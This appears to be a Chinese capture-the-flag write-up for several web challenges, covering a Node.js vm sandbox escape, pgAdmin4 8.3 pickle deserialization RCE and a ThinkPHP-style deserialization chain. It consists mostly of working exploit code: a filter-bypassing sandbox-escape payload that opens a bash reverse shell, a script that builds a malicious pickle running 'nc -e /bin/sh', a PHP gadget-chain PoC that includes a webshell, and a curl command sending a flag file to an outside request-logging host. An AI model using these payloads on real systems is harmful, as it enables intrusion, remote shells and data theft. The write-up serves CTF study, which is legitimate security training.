my first cms https://avd.aliyun.com/detail?id=AVD-2024-27622
弱口令登录
username : admin
password : Admin123
登录进去后:
全世界最简单的CTF 给了/secret源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 const express = require ('express' );const bodyParser = require ('body-parser' );const app = express ();const fs = require ("fs" );const path = require ('path' );const vm = require ("vm" );app .use (bodyParser.json ()) .set ('views' , path.join (__dirname, 'views' )) .use (express.static (path.join (__dirname, '/public' ))) app.get ('/' , function (req, res ){ res.sendFile (__dirname + '/public/home.html' ); }) function waf (code ) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g ; if (code.match (pattern)){ throw new Error ("what can I say? hacker out!!" ); } } app.post ('/' , function (req, res ){ let code = req.body .code ; let sandbox = Object .create (null ); let context = vm.createContext (sandbox); try { waf (code) let result = vm.runInContext (code, context); console .log (result); } catch (e){ console .log (e.message ); require ('./hack' ); } }) app.get ('/secret' , function (req, res ){ if (process.__filename == null ) { let content = fs.readFileSync (__filename, "utf-8" ); return res.send (content); } else { let content = fs.readFileSync (process.__filename , "utf-8" ); return res.send (content); } }) app.listen (3000 , ()=> { console .log ("listen on 3000" ); })
注意第25行开始的,很明显的vm沙箱逃逸。
https://xz.aliyun.com/t/11859?time__1311=mqmx0DBD9DyDuBYD%2FQbiQQLpDfhxAOiqhiD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-3
1 2 3 4 5 6 7 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc.constructor .constructor ('return process' ))(); return p.mainModule .require ('child_process' ).execSync ("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'" ).toString (); } })
这道题没回显,所以我们需要反弹shell,拿这个payload去打,剩下的是绕过过滤,这里过滤了我们需要的exec、process
对于process,他正则匹配没有i 也就是对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过
1 'return process'变成'return Process'.toLowerCase();
最难的是exec绕过,这个东西不是字符串,而是方法,所以我们并不能像之前两种方式绕过,我们选择 Reflect.get 方法绕过
推一篇文章nodejs的命令执行绕过的
https://www.anquanke.com/post/id/237032
简单点就是Reflect.get(a,b)=a[b]
1 2 3 4 5 6 7 8 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const g = (cc.constructor .constructor ('return global' ))(); const p = Reflect .get (g, Reflect .ownKeys (g).find (x => x.includes ('pro' ))).mainModule .require (String .fromCharCode (99 ,104 ,105 ,108 ,100 ,95 ,112 ,114 ,111 ,99 ,101 ,115 ,115 )); return Reflect .get (p, Reflect .ownKeys (p).find (x => x.includes ('exe' )))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'" ).toString (); } })
attack_tacooooo 又要猜密码
给了帐号是tacooooo@qq.com ,我怎么知道密码是多少,这还不是弱口令,纯猜,密码是tacooooo
登录进去后查看版本 pgAdmin4 8.3
直接去找漏洞,翻cve
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/
脚本也给了,我们稍微改改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import structdef produce_pickle_bytes (platform, cmd ): b = b'\x80\x04\x95' b += struct.pack('L' , 22 + len (platform) + len (cmd)) b += b'\x8c' + struct.pack('b' , len (platform)) + platform.encode() b += b'\x94\x8c\x06system\x94\x93\x94' b += b'\x8c' + struct.pack('b' , len (cmd)) + cmd.encode() b += b'\x94\x85\x94R\x94.' print (b) return b if __name__ == '__main__' : with open ('posix.pickle' , 'wb' ) as f: f.write(produce_pickle_bytes('posix' , f"nc ip port -e /bin/sh" ))
把运行脚本得到的pickle文件上传
注意这里是绝对路径
/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a
更换cookie之后监听端口,拿到shell结果半天找不到flag,最后在/proc/1/environ里才找到flag
用过就是熟悉 下载源码,在db.sql的938行,找到登录密码:!@!@!@!@NKCTFChu0
登录进去后发现回收站里有个文件,我们恢复了。
打开后发现这个文件是一个木马:
那我们一个尝试文件包含它,然后执行命令。
下面开始审计源码: 登陆页面源码在/app/controller/user/include.class.php
在loginSubmit方法里有这么一句:
这里他说的tp是thinkphp的意思,然后在这里有个反序列化的点,那么我们肯定就需要构造反序列化链条攻击了。
thinkphp链子开头一般是__destruct,直接全局搜索一下:
发现有三个,而前两个的__destruct()无法成功构成链子,只有第三个可以:
根据p2zhh师傅的提示,这个链子跟thinkphp5.0.24反序列化漏洞很像。
https://www.freebuf.com/articles/web/284091.html
这里的close()为关闭文件的方法,没有利用点,而removeFiles()中有个数组可以触发__toString
全局搜素__toString,根据文章的提示,会到这里
跟进toJson
跟进toArray()
因为$items是受保护的属性,所以这里toArray()可以触发__get方法。
这里的data是我们可控的。这里Loginsubmit方法不存在,所以我们就能调用__call方法 这里我们找到两个__call方法:
在Config.php中,这个__call能进行文件包含。
先放poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php namespace think \process \pipes ;use think \Collection ; class Pipes { } class Windows extends Pipes { private $files = []; function __construct ( ) { $this ->files = [new Collection ()]; } } namespace think ; class Collection { protected $items = []; public function __construct ( ) { $this ->items=new View (); } } namespace think ;class Config { } class View { public $engine =array ("name" =>"data/files/shell" ); protected $data = []; function __construct ( ) { $this ->data['Loginout' ]=new config (); } } use think \process \pipes \Windows ; echo base64_encode (serialize (new Windows ()));
得到payload后开始执行命令:
这道题好像是无回显。
经过测试,好像没有bash和nc,反弹shell行不通,可能这道题不出网,那么就curl+DNS外带。
在线dns网站:https://requestrepo.com/#/requests
1 system("curl -X POST --data `cat%20/f*` http://b62zii2y.requestrepo.com");
最后一个题不错,其他题挺水的